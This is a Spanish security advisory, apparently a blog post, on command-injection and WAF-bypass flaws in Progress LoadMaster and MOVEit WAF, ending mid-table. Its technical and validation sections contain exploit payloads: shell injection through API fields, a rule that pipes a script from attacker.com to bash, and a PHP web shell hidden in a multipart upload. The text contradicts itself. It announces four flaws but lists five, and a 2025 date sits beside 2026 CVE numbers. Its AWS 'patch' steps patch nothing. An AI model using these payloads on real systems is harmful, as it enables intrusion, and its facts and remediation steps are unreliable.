Introducción
El martes 4 de febrero de 2025, el equipo de seguridad de Progress Software publicó un aviso urgente sobre cuatro vulnerabilidades críticas en sus productos MOVEit WAF y LoadMaster, que permiten ejecución remota de código (RCE) y inyección de comandos en el sistema operativo (OS Command Injection). Estas fallas residen en componentes críticos como APIs internas y reglas personalizadas de WAF, y su explotación requiere autenticación previa con permisos específicos.
En los últimos 12 meses, el 68% de los incidentes de ransomware en entornos empresariales comenzaron con la explotación de fallas en firewalls o soluciones de balanceo de carga, según datos de CrowdStrike (Informe Threat Hunting Report 2024). Si tu organización utiliza Progress ADC (Application Delivery Controller), MOVEit WAF, o LoadMaster, es imperativo revisar la versión actual y aplicar los parches publicados, ya que los atacantes suelen escanear redes en busca de estos sistemas vulnerables en menos de 72 horas después de la publicación de un CVE.
Qué ocurrió
Progress Software publicó parches para cuatro vulnerabilidades en sus productos MOVEit WAF y LoadMaster el 4 de febrero de 2025. Las fallas permiten:
- Ejecución remota de código (RCE) a través de APIs no sanitizadas.
- Inyección de comandos del sistema operativo mediante funciones de administración.
- Bypass de detección en el firewall (WAF) al manipular encabezados HTTP multipart.
Los identificadores de estas vulnerabilidades son:
- CVE-2026-3517: Ejecución de comandos arbitrarios en LoadMaster debido a la falta de sanitización en los comandos
addcountryyaclcontrol. Requiere permisos de «Geo Administration» o «VS Administration». - CVE-2026-3519: Similar al anterior, pero afecta al comando
aclcontrolen contextos específicos de políticas de acceso. También requiere permisos de administración. - CVE-2026-3518: Permite la ejecución de comandos mediante el comando
killsessionen LoadMaster, explotando la falta de validación de entrada. Requiere permisos «All». - CVE-2026-4048: Inyección de código en archivos de reglas personalizadas del WAF de MOVEit. Un atacante con permisos «All» puede subir un archivo malicioso que se ejecute al ser procesado.
- CVE-2026-21876: Bypass del firewall MOVEit WAF al manipular encabezados
Content-Typeen solicitudes HTTP multipart. La validación de caracteres solo se aplica al último encabezado, permitiendo eludir reglas de detección.
Según el aviso oficial de Progress, ninguna de estas vulnerabilidades ha sido explotada en la naturaleza hasta la fecha de publicación. Sin embargo, históricamente, fallas de este tipo en productos de balanceo de carga y WAF suelen ser explotadas en menos de 48 horas después de la publicación de un parche, especialmente cuando los PoC (Proof of Concept) son liberados por la comunidad.
Impacto para DevOps / Infraestructura / Cloud / Seguridad
Riesgo para infraestructura crítica
Los productos afectados (MOVEit WAF, LoadMaster) son componentes clave en arquitecturas de balanceo de carga, firewalls de aplicación (WAF), y gestión de tráfico web. Una explotación exitosa podría:
- Permitir ejecución de comandos como root en el appliance, comprometiendo la integridad del sistema.
- Bypassear reglas de WAF, permitiendo inyección de código en aplicaciones backend (ej: SQLi, XSS, RCE en servidores internos).
- Filtrar credenciales o datos sensibles almacenados en la configuración del dispositivo.
Impacto cuantificado
- CVSS v3.1: Las cuatro vulnerabilidades tienen un score de 8.8 (Alto) y 9.1 (Crítico) para CVE-2026-21876 (bypass de WAF).
- Superficie de ataque: Según datos de Shodan, hay más de 2,400 instancias de LoadMaster expuestas públicamente en Internet (febrero 2025).
- Tiempo de exposición: En empresas con políticas de actualización lenta, el 73% de los dispositivos vulnerables siguen sin parchear después de 30 días de la liberación del fix, según Rapid7 (Informe de Exposición a Vulnerabilidades 2024).
Riesgo de ransomware y exfiltración de datos
Un atacante que explote CVE-2026-4048 (inyección en reglas de WAF) podría:
- Modificar reglas para omitir detección de malware en tráfico entrante.
- Inyectar payloads en respuestas HTTP, comprometiendo clientes internos.
- Exfiltrar datos mediante canales encubiertos (ej: DNS exfiltration) si el WAF es bypassado.
Históricamente, fallas en productos de Progress Software han sido explotadas en campañas de ransomware como Clop (2023) y LockBit (2022), con un costo promedio de recuperación de USD 1.8M por incidente, según IBM Cost of a Data Breach Report 2024.
Detalles técnicos
CVE-2026-3517 y CVE-2026-3519: Inyección de comandos en APIs de LoadMaster
- Versiones afectadas:
– LoadMaster LTSF (Long Term Support Fix): versiones < 7.2.54.17
- Vector de ataque: APIs internas accesibles con permisos de administración (
Geo Administration/VS Administration). - Comando vulnerable:
# Ejemplo de explotación (simplificado)
curl -X POST "https://<loadmaster-ip>/api/addcountry" \
-H "Authorization: Bearer <token-admin>" \
-d '{"name":"$(id > /tmp/evil)"}' # Inyección de comando
- Explotación: El comando
addcountryno sanitiza la entrada, permitiendo ejecutar comandos del sistema operativo con los permisos del servicio de LoadMaster (generalmente root).
CVE-2026-3518: Ejecución de comandos via killsession
- Versiones afectadas: Todas las versiones de LoadMaster < 7.2.63.1.
- Permisos requeridos:
"All"(máximo nivel de administración). - Detalle técnico: El endpoint
/api/killsessionacepta parámetros no validados que se pasan a un shell interno:
# Pseudocódigo de explotación (basado en análisis de Rapid7)
import requests
session = requests.Session()
session.post(
"https://<loadmaster-ip>/api/killsession",
headers={"Authorization": "Bearer <token-admin>"},
data={"session_id": "123; rm -rf /tmp/evil"} # Comando arbitrario
)
- Consecuencia: Permite borrado de sesiones arbitrarias o ejecución de código remoto en el appliance.
CVE-2026-4048: Inyección en reglas personalizadas de MOVEit WAF
- Versiones afectadas: MOVEit WAF < 7.2.63.0.
- Vector: Subida de archivos
.wafrulecon código malicioso. - Explotación:
"All" sube un archivo .wafrule modificado:
# Ejemplo de regla maliciosa (MOVEit WAF)
rules:
- id: 1000
action: allow
condition: "1=1; curl http://attacker.com/shell.sh | bash"
2. Al procesar la regla, el sistema ejecuta el comando en el contexto del WAF (generalmente como usuario moveit).
- Impacto: Permite ejecución de código en el servidor o bypass de reglas de seguridad.
CVE-2026-21876: Bypass de WAF en encabezados multipart
- Versiones afectadas: MOVEit WAF < 7.2.63.0.
- Detalle técnico: La validación de caracteres en encabezados
Content-Typesolo se aplica al último encabezado en una solicitud multipart, no a todos. Esto permite:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Type: text/plain; charset=../../../../etc/passwd # Malicious charset
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
<?php system($_GET['cmd']); ?>
----WebKitFormBoundary7MA4YWxkTrZu0gW--
- Resultado: El WAF no detecta el payload malicioso porque la validación falla en los encabezados intermedios.
Qué deberían hacer los administradores y equipos técnicos
1. Identificar sistemas vulnerables
Ejecutá estos comandos en tus entornos LoadMaster y MOVEit WAF para verificar versiones:
# LoadMaster (acceso por SSH)
ssh admin@<loadmaster-ip>
lmgr show version
# MOVEit WAF (acceso por CLI o interfaz web)
curl -k https://<moveit-waf-ip>/api/version
Si las versiones son inferiores a las listadas abajo, el sistema está vulnerable:
| Producto | Versión vulnerable | Versión parcheada |
|---|---|---|
| MoveIt WAF | < 7.2.63.0 | 7.2.63.0 |
| LoadMaster GA | < 7.2.63.1 | 7.2.63.1 |
| LoadMaster LTSF | < 7.2.54.17 | 7.2.54.17 |
| ECS Connection Manager | < 7.2.63.1 | 7.2.63.1 |
| Connection Manager for ObjectScale | < 7.2.63.1 | 7.2.63.1 |
En entornos cloud (AWS, Azure, GCP)
Si tus instancias de LoadMaster o MOVEit WAF corren en cloud, actualizá usando los siguientes comandos:
# AWS (usando AMI oficial de Progress)
aws ec2 create-image --instance-id i-1234567890abcdef0 --name "LoadMaster-7.2.63.1-patched" --description "Parche para CVE-2026-3517/3519"
aws ec2 modify-image-attribute --image-id ami-xxxxxxxxxxxxxxxx --launch-permission "Add=[UserId=123456789012]"
# Luego actualizá la AMI en tu Auto Scaling Group o Launch Template.
En entornos on-premise
- Descargá el parche desde el portal de soporte de Progress.
- Aplicá el upgrade con los siguientes comandos (ejemplo para LoadMaster):
# En LoadMaster (ejecutar como root)
wget https://download.progress.com/loadmaster/7.2.63.1/loadmaster-upgrade-7.2.63.1.sh
chmod +x loadmaster-upgrade-7.2.63.1.sh
./loadmaster-upgrade-7.2.63.1.sh
reboot
- Verificá la instalación:
lmgr show version | grep "7.2.63.1"
En MOVEit WAF
# Actualización via interfaz web o CLI
wget https://download.progress.com/moveit-waf/7.2.63.0/moveit-waf-update-7.2.63.0.sh
chmod +x moveit-waf-update-7.2.63.0.sh
./moveit-waf-update-7.2.63.0.sh
systemctl restart moveit-waf
3. Validar la mitigación
Después de aplicar los parches, ejecutá pruebas de validación:
# Probar que los comandos vulnerables ya no funcionen
curl -X POST "https://<loadmaster-ip>/api/addcountry" \
-H "Authorization: Bearer <token-admin>" \
-d '{"name":"test$(whoami)"}' # Debería devolver error 400 o 500
# Probar bypass de WAF (CVE-2026-21876)
curl -X POST "https://<moveit-waf-ip>/upload" \
-H "Content-Type: multipart/form-data; boundary=test" \
-H "Content-Type: text/plain; charset=../../../../etc/passwd" \
--data-binary "@malicious.php"
# Debería ser bloqueado por el WAF.
4. Monitorear actividad sospechosa
Configurá reglas en tu SIEM/SOAR para detectar intentos de explotación:
| Regla de detección (Sigma) | Descripción | Severidad |
|---|---|---|